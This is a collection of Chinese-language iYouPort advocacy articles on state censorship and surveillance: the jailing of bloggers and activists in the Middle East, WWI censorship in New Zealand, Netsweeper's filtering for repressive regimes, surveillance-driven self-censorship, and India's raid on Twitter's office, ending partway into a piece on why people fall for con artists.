在埃及，批评政府的博客作家、活动家，甚至普通网民被逮捕和监禁的状况正变得越来越普遍。最近被捕的人包括博客作家 Shady Abuzaid，Sherif Gaber 和 Wael Abbas。其中 Abbas 因在他的博客“Misr Digital”中记录警察滥用权力的暴行而闻名。他被指控发布“假新闻”和涉入“非法组织”。

经过近两年半的拘留期后，一名记者和埃及学者 Ismail Al-Iskandarani 被军事法庭被判处**10**年有期徒刑。他因传播与安全部队涉嫌侵犯人权行为的消息而被定罪，还公布了军事机密，当局以“假新闻”为由治罪于他。

他是该国极少数监督人权问题的记者之一。

埃及对言论自由的打击包括封锁了越来越多的网站，继续对互联网通信进行广泛的国家审查。5月28日，埃及最高行政法院命令当局阻止YouTub e一个月，因为该网站托管了2012年发布的某视频节目，诋毁先知穆罕默德。根据社交媒体交易所（SMEX）的统计，YouTube目前仍然可用，直到最高行政法院的裁决被提交给国家电信管理局（NTRA），该电信管理局将开始封锁 YouTube 30天。

在阿尔及利亚，一名博客作者被指控为“间谍”，判刑十年

类似 Ismail Al-Iskandarani 的案件中，阿尔及利亚的一名博客作家 Touati Merzoug 于5月25日被判处 10 年有期徒刑，被控“与外国特工间谍合谋颠覆阿尔及利亚的外交立场”和“煽动颠覆国家政权“。仅在30岁的 Merzoug 自从2017年在 YouTube 上发布视频并在 **Facebook** 上发布一个要求抗议新金融法的帖子后就被拘留了。

在阿联酋，人权活动家 **Ahmed Mansoor** 被判处十年监禁

5月29日，还有另一个令人震惊的消息：著名的人权活动家 Ahmed Mansoor 因在社交媒体上发布帖子而被判处 **10** 年有期徒刑并罚款100万 迪拉姆（约272,000美元），当局称其中包含“可能伤害国民团结和社会稳定的虚假消息”。

Ahmed Mansoor 出色的人权工作使他获得了**2015**年享有盛誉的马丁•恩纳尔斯人权捍卫者奖。但是，这项工作和奖项也伴随着他被当局报复的遭遇，包括**2011**年的监禁、阿联酋政府使用恶意软件多次攻击他的设备、没收他的护照、损失他的财务以及殴打他。包括 Access Now 在内的人权组织谴责当局行为，要求立即释放他。

在沙特阿拉伯，妇女维权人士被逮入狱

沙特阿拉伯最近也发生了多次逮捕事件，其中大多数是针对妇女权利活动家的。这一波的逮捕行动发生在几周前，禁止女性驾驶的计划将于6月24日解除。

当局在国家媒体上发表正式声明，宣布至少有六名活动家被指控组建一个据称“危害国家安全”的组织，“与外界进行交流，破坏沙特阿拉伯及其社会结构的安全与稳定”。

被逮捕的活动家包括 Aisha al-Mana，Madeha al-Ajroush，Eman al-Nafjan，Aziza al-Yousef 和 Loujain al-Hathloul。Loujain al-Hathloul 是争取妇女权利和反对驾驶禁令的著名人物。沙特阿拉伯当

局多次逮捕并拘留她。 2014年，她因试图越过边界从阿联酋驾车到沙特阿拉伯被关押了73天。

在巴林，**Twitter** 的帖子和所谓的“假新闻”

本月，针对维权人士 Nabeel Rajab 的指控在上诉后被维持原判。在巴林刑事法院，由于他的 Twitter 账户在 2015 年发布的内容，他被判处五年有期徒刑，包括转发了关于巴林 Jaw 监狱中指称的酷刑和批评也门战争的资料。

他被控在战争时期传播“假新闻”并侮辱公务员。据巴林刑事法院的一名法官称，Rajab的审判不会就此结束，至少有 **14** 起针对他的案件。

同样在巴林，国家地理杂志 Sayed Baqer Al-Kamel 和在线博客 Sayed Ali Al-Durazi 的摄影师每人都被判处两年徒刑。这一发展表明，海湾国家的异见人士正在遭受新的一轮打击。

自由表达是一项人权，不论线上还是线下

Accessnow 表示将努力改变会令人权捍卫者面临风险的政策，并防止向这些压迫性国家出口监视技术。

原文

第一次世界大战期间的审查制度和国家控制 - iYouPort

审查和自我审查-民主的支柱是如何歪掉的

借口危机而扩张的权力，绝不会停止于危机结束的那一刻。相反，它将无限蔓延 —— 它本身就是更大的危机

「图」

「图」

在第一次世界大战期间，邮件、电报、小册子和书籍、新闻和报纸、戏剧、照片、电影、和言论，全部都受到审查和限制。仿照英国的做法，审查制度的目的声称是为了“阻止部队调动等信息落入敌人手中”；但是，它很快就成为当权者在一个潜在的动荡时期加强控制社会的一种重要方式。

到战争结束时，新西兰的审查制度已经针对任何威胁到战争的努力、经济、或国家本身的人，而前线的审查制度意味着战争的残酷现实在国内鲜为人知。

在第一次世界大战前的20年里，已经出台了一些审查印刷品的法律，1900年代电影的发展也导致了电影审查法的出台。然而，第一次世界大战标志着审查制度和国家控制的历史转折点。战争不仅仅是军队的冲突，它被视为社会的冲突，国内战线的失败可能导致战场上的失败。舆论获得了新的意义。

同时，技术的进步和中央邮政服务的发展意味着控制通信可以相对容易地实现。这见证了对所有形式的通信的审查，对行动的限制（现代护照诞生于**1916**年），以及无数的战争法规，控制什么可以或不可以表达。军方还在1914年8月新西兰占领的前德国殖民地萨摩亚实施审查和种族隔离。

「图」

「图」

这是新西兰惠灵顿邮政总局的邮件分拣室 —— 拆看审查所有邮件的地方，大约拍摄于1920年。图片由新西兰档案馆提供。

「图」

「图」

第一次世界大战期间审查的一些国内和国际通信。图片由新西兰档案馆提供。

当军事战役的新闻传到新西兰时，也已经受到严格的审查，包括有关当地军事活动和航运活动的信息 —— 通常会在报纸上报道 —— 同样受到限制。从1918年7月起，首席审查官可以命令报纸编辑在印刷前将其全部出版物提交给他。

来自战役前线的直接报道也被严格审查，以尽可能地赞美英国的事业。士兵的信件也受到前线军官的审查，特别是1916年初新西兰部队在欧洲登陆后。审查信件的责任由连长承担，他们通常有更紧迫的问题要处理，并将任务委托给下级军官。甚至牧师也担任审查员，这非常强大地鼓励了自我审查。

「图」

「图」

这样的外勤服务明信片让审查员能够更快地批准士兵的信件 —— 士兵不需要写信，而是从每个选项中选择最合适的语句，然后划掉其余的部分。图片由 Te Papa 提供，编号：PH000709/35。

所有国内邮件都被拦截、被打开，并被搜查是否有任何违反审查法的行为或不忠的迹象。被认为有可能引起 “国王陛下不同阶级臣民之间的敌意和恶意” 的出版物全部被禁止，如爱尔兰共和党的《绿光报》或革命性刊物《直接行动》。放映任何未经政府审查员批准的电影都是非法的。性别和性规范受到管制。所谓的 “煽动性言论” "就像今天的 “煽动性” 指控"和 “寻衅滋事” 一样，是国家手中的口袋罪名，被认为是一种犯罪行为，任何窃窃私语、写作、或传播这种意图的人都会受到起诉。

那些因分享对敌人有用的情报（如港口报告）而被定罪的人，最高可被罚款10英镑，然而任何批评政府行为的人都会被罚款**100**英镑（以

今天的货币计算接近2万美元），或者"被监禁12个月并做苦工"。到1918年11月，新西兰有287人因发表所谓的“煽动性”或不忠的言论而被起诉或入狱。另一边，在英国的4200多万人口中，有422人因所谓的“煽动叛乱”而被定罪或入狱。

「图」

「图」

新西兰的囚犯邮件受到严格的审查。 1918年，《绿线》的编辑汤姆·卡明斯（Tom Cummings）因其爱尔兰共和党的观点而被捕后，对他狱中的信件进行的审查，被涂黑的部分是不允许说的词。图片由SeánBrosnahan提供。

新西兰法律学者、总检察长约翰·萨尔蒙德爵士（Sir John William Salmond KC）认为，这种战时权力预示着“一场宪法革命”，但是“专制政府在所谓的国家紧急状态下是有效的”。邮政审查员沃尔特·坦纳（Walter Tanner）认为，“在国家面临危险的时候，当个人或社会有理由相信他们的行为会危害到国家的安全时，对内部信件的审查是完全合理的”。当时大多数人都同意这种观点。尽管在战争后期有少数人持不同政见，并因通货膨胀和征兵而引起了更广泛的动荡，但民众普遍同意战时的政策，并容忍了更多的审查和监视。

然而，国家对人们的私人思想和意见的侵犯，产生了实质性的和长期的影响。批评政府的作家的邮件或书籍被扣留，受到严密的监视，或者他们的家或办公室被突袭。有些人被关进监狱，有些人被驱逐出境。这项工作，以及战后的红色恐慌，见证了1919年官方国家监控的诞生。

其他战时的权力也被延伸到和平时期：1920年的《战争条例延续法》直到1947年才被撤销。因此，第一次世界大战加强了国家在今后多年的危机时期监视民众的强大能力。〇

「图」

「图」

这张漫画摘自1916年3月4日的《观察家报》（Observer）漫画中，人们对战争中新闻的审查制度发表了评论。图片由新西兰国家图书馆提供。

The history of censorship and State Control During the First World

War

原文

虚伪的“言论自由” - iYouPort

审查和自我审查-民主的支柱是如何歪掉的

金钱驱动的恶非常顽固，很难化解

「图」

「图」

加拿经常被视为人权和互联网自由之希望的灯塔，但事实显示，该国的糟糕程度也是足够惊人的。最近公民实验室的一份新报告揭露了加拿大一个邪恶的项目—— 和中国一样，审查封锁是产业化的。

一家名为 Netsweeper 的加拿大互联网公司正在审查 LGBTQ 网站内容和其他受国际公约保护的内容，而且不限于加拿大本国内，并且还服务于国际上众多拥有恶劣人权记录的政权—— 这点与中国不同，中国的审查工具只针对中国国内和海外华裔群体。

总部位于安大略省滑铁卢的 Netsweeper 已经在 Citizen Lab 的关注之下运作好几年了。该研究小组此前发布的报告已经将这家互联网内容过滤公司与巴林、 也门等政府联系起来。

Citizen Lab 的最新报告使用了一套检测工具，发现有**30**个不同国家都有接受 Netsweeper 的服务，其中包括10个“具有长期系统性人权侵犯问题的国家”：阿富汗、巴林、印度、科威特、巴基斯坦、卡塔尔、索马里、苏丹、阿联酋和也门。

根据公民实验室的调查结果，Netsweeper 提供的互联网内容过滤阻止了也门的媒体网站、阻止了阿联酋的政治活动、还阻止了巴林的宗教内容。但特别令人不安的是，Netsweeper 的“另类生活方式”阻止类别，“其主要目的之一是阻止非色情的 LGBTQ 内容，被阻止的包括民权和宣传组织、艾滋病预防组织、和 **LGBTQ** 提供的内容和文化团体，“报告指出。

“鉴于加拿大的外交政策已将性别平等问题放在其议程的首位，显然这是我们想在此强调的内容：一家加拿大公司正在通过帮助其他国家

促进审查来积极破坏全球的人权”，公民实验室主任 Ron Deibert 说。

值得注意的是，公民实验室还发现了一些意料之外的情况，包括：世界卫生组织在也门的网站 也被 **Netsweeper** 的工具阻止。这突显了在线审查的“固有”倾向，即错误地分类和阻止各种网站。2013年英国也出现过类似情况：在政府要求互联网服务提供商阻止色情网站之后，就连合法的性健康教育门户网站也被卷入了这场审查。

Netsweeper 没有立即回应评论请求。在回应 Citizen Lab 的报告时，该公司认为它无法阻止本地用户手动禁用该过滤软件，甚至，其中一种版本也向学校销售。然而，根据公民实验室的研究表明 Netsweeper 在其部署的国家/地区一直在与当地进行持续的互动，这表明它应该在软件被滥用时注意到，但该公司没有做任何事。

对于 Netsweeper 的活动—公民实验室认为它完全违背了国际人权义务和联合国规定的企业准则—这是与加拿大阳光明媚的言论市场完全背道而驰的最新迹象。

事实上，加拿大政府在十多年的时间里为 **Netsweeper** 提供了充分的财政支持和推广。例如，国家研究委员会根据 **NRC** 发言人的说法，在**2005**年至**2013**年期间为 **Netsweeper** 提供了四笔赠款，共计 **469,484** 加元。

金钱驱动的恶非常顽固，很难化解。就如监视和审查，目前之所以如此恶劣，就是因为它是一种新的经济模式，是产业。监视资本主义的概念是极其准确的，它指明了背后的强大的经济体制。于是只有另一种经济体制才能遏制它，即 以善驱动的经济体制。

管理中国的现状分析：《中国：互联网维稳产业，谁将成为唯一的失败者？》

A Canadian Company Is Blocking LGBTQ Content for Censorious Regimes. Netsweeper is blocking content in 30 countries, according to a new report from Toronto-based research group Citizen Lab

原文

被监视噤声的作家：大数据时代的自我审查 - iYouPort

审查和自我审查-民主的支柱是如何歪掉的技术暴政

我们都知道什么是审查制度：作家被谋杀、袭击或监禁; 电视和广播电台被关闭; 唯一生存下来的报纸是当局的鹦鹉学舌; 记者迷失在官僚迷宫中以获得执照或许可证; 政府机构批准可以出版哪些小说、戏剧和诗集; 书籍被禁止或烧毁、印刷材料或印刷机被极端规定限制 ……所有这些损害的都是自由表达，但它们留下了明确的印记，是可以衡量的可见的东西，但自我审查呢？它没有留下如此清晰的标记。

当作家自我审查时，没有记录，他们只是停止写作或避免某些话题，这些决定都会随着时间的推移而丢失。如果不能以明确的政府审查的方式记录下来，我们唯一能做的就是找出自我审查的潜在驱动因素。

2013年，Snowden 透露了政府监视的惊人程度，情报机构能够捕捉全球互联网用户的数据，能够访问传输中的电子邮件、设备上保存的文件，实时记录我们的关系和位置的详细信息，以及可以揭示我们的政治观点、信仰和习惯的数据。此后英国政府推行了“ 调查权力法案”，这是一项惊人的行动，使数字监控能力现代化、巩固并扩张。这种扩张受到民权组织、技术专家、一些媒体机构、和主要科技公司的反对，但是在2016年11月29日，它得到了皇室的同意。

但这种扩张对我们言论自由的权利有何影响？

随着大数据和数字监控交织在现代社会的结构中，越来越多的证据表明，对监控的认识会影响不同社区的互联网互动。在斯诺登揭露之后，牛津互联网研究所的 John Penney 分析了维基百科网页上关于国土安全部指定的主题的敏感性，并确定“维基百科有关恐怖主义的文章页面浏览量下降了 20%，其中包括那些提到’基地组织’，“汽车炸弹”或“塔利班”的页面。这份报告符合一项研究的结果—— Alex Marthews 和 Catherine Tucker 在41个国家/地区的 Google 搜索行为中发现了类似的避免敏感主题的趋势。如 Penney 所述，这对自由表达和民主产生了重大影响：“如果人们被恐惧击倒而绕避了解恐怖主义和国家安全等重要政策问题，那么这将是对民主辩论的真正威

胁。”

在对 Facebook 的一项研究中，Elizabeth Stoycheff 发现，面对多数意见的持有者和对政府监视的认识，少数观点持有者更有可能“自我审查他们在网上发表的意见”。如果少数群体意见的持有者离开像 Facebook 这样的在线平台，那么这些平台就只能反映多数意见，同质化的话语和错误的共识。这些研究记录了生态系统如何被缓慢地侵蚀，这是自由表达原本应该蓬勃发展的地方。

2013 年，PEN America 调查了美国作家群体，检验该群体对于斯诺登的启示是否影响了他们探索挑战性问题并继续写作的意愿。在著名的报告《寒蝉效应：美国国家安全局监视驱使美国作家自我审查》中，PEN America 发现，“有六分之一的作家努力避免在他们认为会使自己受到监视的话题上写作或发言”。苏格兰笔会与斯特拉思克莱德大学的研究人员共同撰写了另一份报告《Scottish Chilling ：政府和公司的监视对作家的影响》，深入探讨监视对苏格兰作家的影响，并提出这样一个问题：对监视的看法是否是自我审查的驱动力？

在调查了118位作家，包括小说家，诗人，散文家，记者，翻译家，编辑和出版人，并采访了一些参与者后，我们发现了作家在工作或研究中避免某些主题、修改他们的作品、或拒绝使用某些主题的令人不安的趋势。22% 的人会避免在特定主题上撰文或发言，28% 的人已经减少或避免在社交媒体上进行活动。此外，82% 的受访者表示如果他们知道英国政府收集了有关自己全部互联网活动的数据，他们会觉得个人隐私受到了侵犯。

有时，监视似乎被认为是不可避免的，这在许多作者对他们是否可以采取行动以减轻监视风险的回应中有很明显的体现。在不知道如何保护自己的情况下，选择很有限：作者要么自己错误的选择了使用不安全的工具，要么选择彻底避免互联网，与重要的信息来源、潜在的读者和支持社区切断联系。关于使用隐私增强技术（通常称为PET）的知识是我们如何保护数字时代的自由表达的重要组成部分，但正如一些参与者所关注的那样，它在很大程度上未得到充分利用。技术社区说：“我想我可能需要接受对更多人的辅导……

监控是无法去除的—— 它就嵌入在这个互联网的结构中。如果我们忽视它对作家的影响，肯定就会威胁到民主的基础、充满活力的思想和信仰交流，以及作家的意义，都不复存在。用一位参与者的话说就是：“如果你是自我审查的，你就不能作为一个作家而存在。”

Writers silenced by surveillance: self-censorship in the age of big

data. We asked Scottish writers how online surveillance has impacted on their work. The answers we got were shocking. If we ignore the impact it has on writers, we threaten the very foundations of democracy; a vibrant and cacophonous exchange of ideas and beliefs, alongside what it means to be a writer. In the words of one participant: “You can’t exist as a writer if you’re self-censoring.”

原文

跨国审查的闹剧表演 - iyouport

审查和自我审查-民主的支柱是如何歪掉的

民族主义政府不可避免地会遇到自己的边界。这总是一种启示性的碰撞，暴露了他们的世界观和权力的局限性。

这就像是荒诞派剧中的一个场景，观众意识到了一个演员背后的真相。5月25日晚8点左右，在印度饱受疫情摧残的首都，德里警方的一个 “特别行动小组” 来到了一间锁着的办公室。他们急于确保自己的行动被充分记录并呈现给世界 —— 似乎事先已经通知了大批的媒体成员。来自全国电视台和数字新闻台的记者们手持麦克风和摄像机在那里等待着。当所有的人都到齐后，警察开始强行闯入推特的当地办公室。

正如在一个 Covid-19 大流行病继续肆虐的城市中任何基于数字工作的场所那样，办公室里没有人在场。当然，这家社交媒体巨头的员工都在家里工作。

5月20日，总理纳伦德拉·莫迪的印度人民党卷入了与推特公司的公开争执，当时一位名叫萨姆比特·帕特拉的执政党发言人在推特上声称揭示了印度国民大会党让政府出丑的计划，并被推特贴上了 “被操纵的媒体” 的标签。据独立的事实核查人员称，所发布的图片被欺骗性地套在国大党的信笺上，实际上并非由该党制作。这一公开曝光又引发了双方各种对峙。

如果您错过了这个精彩的故事《“挑战政权的人会死在监狱 …… 但我们不怕”：捍卫真相的事实核查员与反乌托邦的斗争》

笑料和笑声来自于德里警方行动的拙劣表现。他们身着制服，全副武装，向一家整个业务都位于虚无缥缈的数字世界里的科技巨头发出了威胁。

似乎没有人告诉他们，推文不是真实的东西，只能在德里或古尔冈的某个办公室里被遗忘的角落里找到。简单说，“这里没什么可看的”。如果莫迪政府和德里警方希望这次突袭是一次武力展示，那么他们失

策了，他们产生的只是一场闹剧。然而，愤怒的印度人民党官员咆哮着争论不休，声称推特上的标记是“先入为主的、有偏见的”，是“故意给调查抹黑”。

在这场突袭后的第二天，又出现了对印度人民党在技术上已经受到伤害的自我的侮辱。

政府在2月份宣布的一套新的社交媒体准则将于5月26日生效，其中包括各种限制，这些限制将使莫迪领导的印度专制政府能够更好地操纵社交媒体以达到其自身目的。

虽然不是真正的法律，但其指导方针要求任命“驻地申诉官员”，他们将在信息和广播部与 Twitter、Facebook、Instagram 等公司之间提供直接联系点。

如果您错过了《世界各地的政府都想要求互联网公司雇佣本地雇员，以方便把人关进监狱》

这一天到来了，这一天过去了，推特继续做它一直在做的事 —— 没有删除帕特拉推文上的“被操纵的媒体”标签，并忽略其他一切。

Facebook 旗下的 WhatsApp 没有让这一天不经意地过去。相反，它向德里高等法院提交了一份请愿书，声称其如果遵守新法规 —— 其中包括一项规则，即 当政府要求时，社交媒体公司必须确定“信息的第一发布者” —— 将产生严重的隐私后果。

WhatsApp 的立场很简单：其平台销售端对端加密；而强迫该公司保留用户发送的每条信息的“指纹”将改变该平台的这一核心方面。对印度人民党来说，它似乎正处于抓紧一切时间掌权的阶段，此案是其试图将科技公司视为对印度主权的威胁的又一次反击。

对于西方人来说，科技巨头公司对数据的严密控制和大部分不负责任的数据囤积并不是什么大新闻。事实上，个人社交媒体用户站在想要他们的数据的社交媒体公司和想要同样东西的政府之间的某处，这是众所周知的。

在过去的几年里，美国的右翼团体与印度人民党的本土主义者一直在大声疾呼，他们认为科技界的社交媒体偏向于左翼。事实上，就在推特之争在印度进行的时候，特朗普的忠实支持者佛罗里达州州长罗恩·德桑蒂斯正在签署一项新法案，其条款同样承诺让科技巨头公司更加负责任，并披露其部署的“秘密算法”。

这一切可怕的讽刺是，美国的右派和印度的印度教至上主义**BJP**都拥有庞大的推特**Trolls**大军，他们的目的是对付他们认为对他们自己的无敌世界观构成威胁的任何人。

在共和国电视台的右翼节目“与阿纳·戈斯瓦米的辩论”中出现的辩论者，分别由一个叫 Rhythm 的女人和一个叫尼兰詹的男人主持（戈斯瓦米正面临教唆自杀的指控，所以自己没有出现），揭示了七年的民族主义对一个曾经充满活力的自由民主国家的恶性影响，它已经陷入腐烂。

关于印度，见《少说话，多办事 …… 当坏蛋手持宪法》；关于印度人的遭遇，案例《他们因发布推文而遭到网警的审讯和拷打》；关于印度人的反抗，案例《异议的收成》；关于镇压者的跨国联合，案例《共谋侵犯人权，以保留进入中国以外最大的数字媒体用户市场的交易》

在每天都有数千人死于冠状病毒的时候，莫迪政府正在实施更加严格的审查制度。疫苗供应有限，穷人的尸体被冲上神圣的恒河岸边。但公众的注意力被政府的叙事所转移，即：科技巨头公司的唯一意图是打脸印度人，不尊重国家的主权。印度想给美国科技巨头公司一个教训。

这是一个两败俱伤的局面。在摧毁了国内的机构之后，这个新的印度专制国家似乎在缝隙中爆裂，现在它想要控制数字领域。

正在进行的笨拙的努力在战略上就是错误的。虽然印度人可能认为对社交媒体的战争是一场有价值的努力，而且与Covid-19不同的是，这是一场他们可以赢得的战争，但是，世界上其他国家，特别是那些硅谷公司，他们金光闪闪的办公室装饰着印度的城市，他们可不这么认为。这种笨拙的吞噬数字领域的姿态，甚至在假装是一个新兴的“民主超级大国”的同时，所表明的不仅有破坏性的经济转移，而且还有政治不稳定。两者都不利于做生意。

这是一个突然的、断崖式的转折。2020年，印度的外国直接投资增长了13%，这个数字很可能是由当时控制下的病毒、印度的英语人才供应、以及莫迪政府慷慨提供的税收优惠所带来的。政府在转变为否认的堡垒之前，对外国企业非常友好。虽然它的成果不会在瞬间被抹去，但人们对印度作为一个做生意的地方的普遍估计 —— 特别是在技术和数字领域 —— 将会发生变化。

在政治和其他领域，人们必须只打那些自己能保证获胜的战斗。否

则，失败的耻辱会给自己带来完全不同的创伤。莫迪政府很可能认为，在社交媒体上悬挂保护伞禁令的前景将迫使推特公司服从。上个月，当 Facebook 封锁了要求莫迪辞职的反抗者的帖子时，它几乎赢得了另一个科技巨头的胜利，直到该巨头受到世界其他地方的广泛指责后才恢复了那些帖子。

早些时候，推特公司在莫迪政府的要求下，封锁了数百个与大规模农民抗议有关的账户和持不同意见的进步杂志《Caravan》的账户，在一大片批评声中才恢复了其中一部分账户，该公司宣布这些账户的内容构成 “可接受的自由言论”。

这些事件都足够显示出一个无能的政府一心想要让自己的人民闭嘴。

民族主义政府不可避免地会遇到自己的边界。这总是一种启示性的碰撞，暴露了他们的世界观和权力的局限性。

七年来，许多印度人将自己视为一个几乎是超级大国的国家，准备与中国、甚至美国对抗。这些梦想已经被Covid-19的残暴、一个被许多人认为是伟大的政府和领导人的创伤性无能所粉碎。

在印度，对物理边界的痴迷（它几乎在每个边界上都面临着敌对的邻居）暴露了这种痴迷背后的陈旧心态。德里政府正在争夺的边界是不确定的、不可触及的 —— 即 互联网，但作为一个领域比土地本身更有价值。

不只有印度一个国家对互联网有 “割地” 的野心，见《互联网主权的全球崛起：这意味着什么？》

当然，德里警方在 Twitter 办公室没有发现任何东西。没有任何关于该公司为何将 Sambit Patra 的推文标记为虚假的说明，也没有关于该公司存储的揭示那个伪造文本的文件。

莫迪政府无法理解新的数字边界的性质，并将其人为地转化为物质和有形的东西，这让人想起蒙兀兒帝国，它从未完全理解全球贸易，因而在250年前将其签给了东印度公司。蒙兀兒王朝和各个大君都想与英国人做自己的交易，而当他们意识到自己的愚蠢时，他们已经陷得太深了。

关于科技巨头公司已经造成的认识论上的殖民化，也可以这么说；根据独立整理数据的Statista，印度的Twitter活跃用户数量为1750万，位居世界第三。这个数字表明，印度和印度人再次可能陷得太深。〇

Show of Farce

原文

限制基本人权本身就是法西斯主义 - iYouPort

审查和自我审查-民主的支柱是如何歪掉的

人们应该知道当权者事实上最警惕的是什么 —— 他们要的始终是权力稳固，而不是正义

【按】此前我们发布了另一篇文章《新的国内反恐战争即将来临，问题是，它会遇到多少反对》，它解释了为什么恐惧诉求是最强大的专制工具，以及为什么要警惕拜登政府的新法案。这篇文章说的是同一件事，它来自独立媒体组织 “为未来而战”。

“为未来而战” 是成立于2011年的数字权利领域的非营利性倡导组织，旨在引导人们思考与数字权利、在线隐私、以及监视审查相关的议题。他们与IYP的主题有很多一致性。

在反对推特审查的帖子中我们警告了这件事，见《极少数人对多数人的嘴巴所做的事, 不会让您获得幸免》，关于，您必须知道，允许审查制度意味着什么，尤其是，当权者事实上最警惕的是什么 —— 他们要的始终是权力稳固，而不是正义。

反抗者应该时刻基于自己的利益去思考局势和解决方案，摆脱当权者的操纵。

「图」

「图」

美国在应对危机时的行为开创了先例，但是，在危机发生后的日子里，人们也会一直生活在危机中。危机期间的恐惧往往迫使我们采取迅速而不明智的行动。那些试图破坏民主的人所使用的许多最糟糕的工具都是在9/11事件之后、在国会的仓促同意下诞生的。

危机是对我们这个国家的考验 —— 从历史上看，我们已经失败了。我们现在正处于一个进展较慢，但不亚于国会暴动的危机的边缘：在短视的行动中浪费气势的危机。

在未来几周里，我们完全可以预期，民主党和共和党都会要求更多的监控，要求警察和联邦调查局拥有更多的权力，要求政府对所有人的网上公开言论进行更多的审查。他们会这样做，是出于误导性的信念，认为瓦解这个国家的抗议、言论和抵抗机制会让人们“更安全”。不幸的是，这些压迫性的专制行动不成比例地危害了真正的反抗者 —— 那些为种族平等、清洁水资源和可持续未来而战的人们。

审查制度总是首先压制被边缘化的声音，无论是。SOPA/PIPA，SESTA/FOSTA，还是废除第230条；监控总是将黑人、棕色人种、穆斯林和 LGBTQ＋、和政治异议人士定罪最多 —— 而为扩大为监控技术提供的资金则导致了普遍有害的技术爆发式增长，比如生物识别技术或爱德华·斯诺登披露的大规模监控系统。扩大的警务工作加深了困扰这个国家的系统性不公正，吞噬了社区发展和进步急需的资源。

对于受专制技术影响最大的社区来说，像攻占国会大厦的那些白人至上主义者并不是一个新现象，尽管他们可能会被受其影响较小的白人视为新现象。在这个国家的整个历史上，白人至上主义者一直在采用暴力手段，目的是破坏民主，剥夺有色人种社区的平等代表权。我们正在经历的混乱只是一个更大疾病的症状。

对白人至上主义的系统性赋权和确认是导致几个世纪以来种族和经济暴力的主要原因，在这种情况下，民主根本无法发展。

对抗议权和言论自由权的攻击是民主党人和共和党人在近期内会协调一致的膝跳反应。而他们本应该攻击的是我们失败的体制，这一体制的基础就是白人至上主义。

白人至上主义利用人为的稀缺经济来分裂人民。它坚持认为，“没有足够的人权可言”。人为匮乏是国会大厦暴动者选择“照顾自己”的核心，他们将自己的痛苦归咎于其他普通人。白人至上主义将受害者角色置换到社区中最有权势的人身上，使他们可以维护和延续早已令人难以忍受的经济暴力。

我们的选举制度是一个白人至上主义的制度；我们的刑事/司法系统是另一个；第三个就是监视资本主义。所有那些指出互联网上对仇恨的放大有问题的人都是正确的—— 但个人言论并不是问题；呼吁审查制度不过是监视资本主义系统中对受害者的指责，在这个系统中，经济暴力是用优先处理仇恨信息的算法从人类身上提取观点和点击行为数据的。

选举资源的稀缺性是人为的，司法的稀缺性也是人为的，网上人类善

良空间的稀缺性更是人为的。所有这些人为的稀缺性都是系统性白人至上主义制度的标志。

而以白人至上主义为动力的文化战争对我们的民主、对我们的公共话语、对司法和人权的影响，在我们解决这种人为匮乏的根源之前，都只会变得更糟。我们必须重塑这些制度，而这样做只能发生在以人民的基本权利和需求为中心的基础上。

因此，我们呼吁当下执政的民主党人，他们现在有改革的任务，政府的三个主要部门都没有任何借口拒绝：基于人民的需求，从那里重建制度；改革互联网，基于访问权、隐私权和言论自由；改革选举制度，基于平等代表权；改革司法体系，基于司法权。

不要因为恐惧而同意被剥夺权利。恐惧就是噩梦发生的最初原因。○

You Can’t Stop Fascism by Limiting Basic Rights: Our Stance

原文

人们为什么相信骗子？ - iYouPort

社交工程-反操纵、反欺骗的副本

防骗的确不是一件容易事。但是如果您能熟知自己的弱点，面对欺骗时至少能有所觉察

「图」

「图」

不论是所谓的深度造假，还是其他技术高明的甚至仅仅是拙劣的信息战谎言，都能骗倒一大群人。

不准确的信息 —— 或者干脆是故意捏造的虚假信息 —— 如今已成为互联网的常态。人们以各种目的发布虚假的信息，而不仅仅是信息战中的受雇人员，比如，只是为强调自己的立场、或者只是追求吸睛度和粉丝量而故意青睐那些刺激性的虚假信息。

这是一种生态。真相永远赶不上假消息的刺激和吸引力。在这种情况下，甚至美国总统也需要不断接受事实核查。华盛顿邮报统计，迄今为止，他每天平均有15次虚假或误导性的公开声明。

再一次，这绝非哪个民族国家的特征。一些研究表明，世界各地的人们一直对虚幻的东西怀有甜蜜的爱慕之心，人们倾向于被那些 “太符合理想” 以至于难以置信的信息所吸引。

认知科学家已经确定了许多避免人们受骗的常见方法。但是骗子，尤其擅长社交工程学的骗子，他们以吸引目标人士的偏见、固有信念和突出的愿景的方式来讲述虚假的故事。他们使用的是利用人类弱点的策略。

- 更多具体内容参见我们的 列表-3 “斗智”

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/7219

令人不快的现实

通常，“情绪脆弱” 的人不愿意接受令人不快的现实。

英国作家 Arthur Conan Doyle，创造了夏洛克·福尔摩斯的那位，他的经典台词是：你一旦去除了不可能性，最后留下来的，哪怕多么难以置信，都是事实真相。

然而，在经历了家庭悲剧和一次世界大战中的死亡恐怖之后，Doyle 在1916年公开宣布，他赞成唯心论的信仰，包括死者的灵魂可以与活人交流。

1922年，Doyle 在纽约市的家中拜访了魔术师 Harry Houdini，后者向他展示了一个巧妙的魔术，包括自动在悬挂的石板上书写。而 Houdini 无法说服 Doyle 这不是超自然现象。

为什么？因为 Doyle 已经深信超自然的存在，他不再接受现实说法。

你的需求

有时人们垂涎其他同龄人已经取得的成就，以致于他们会忽视表面上的东西并欺骗自己和他人，以争取更好的机会和更好的生活。

1822年，苏格兰骗子 Gregor MacGregor 说服了寻求轻松赚钱和美好生活的同胞购买债券、土地和特殊权限，加满了两艘船，驶向田园诗般的国家 Poyais。

MacGregor 为 Poyais 的土地定价，以使那些苏格兰商人和不熟练的工人也能够负担得起，他们听说过南美的有前途的投资，但缺乏利用这些投资的手段。 他们被告知 Poyais 拥有独特的旗帜、自己的货币和在伦敦的外交机构。

唯一的问题是，Poyais 并不存在。参加这次航行的大多数人死于洪都拉斯的蚊子海岸。

少数幸存者后来表示，他们之所以被吸引，是因为他们拒绝接受 **Poyais** 实际上并不存在的事实，并辩称是 MacGregor “被骗了”。

有趣吧，几乎被折腾到死掉的人却反过来为骗子辩护。

贪婪者都是瞎子

贪婪会阻止人们看到他们做出的决定违背了常识。

1925年，骗子 Victor Lustig 利用了法国政府的公开抱怨，即 翻修一座正在腐烂的埃菲尔铁塔要比拆除它花费更多。

他聚集了一大群废铁交易商，说服他们将塔拆了卖给他们其中一个人。然后他故伎重演再次 “卖掉” 铁塔。 Lustig 在历史上被誉为 “出售埃菲尔铁塔的人”。

这个故事听起来可笑吗？一点都不。如今使用这种骗术的人依旧存在。

利用无知

骗子可以在你对某些事无知和不熟悉当地习俗的状态下找到机会。

